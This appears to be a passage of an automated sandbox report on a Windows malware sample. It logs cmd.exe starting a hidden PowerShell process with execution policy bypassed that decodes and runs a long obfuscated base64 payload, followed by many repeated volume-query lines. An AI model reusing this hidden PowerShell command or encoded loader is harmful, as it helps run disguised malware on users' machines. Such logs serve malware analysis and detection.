t9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
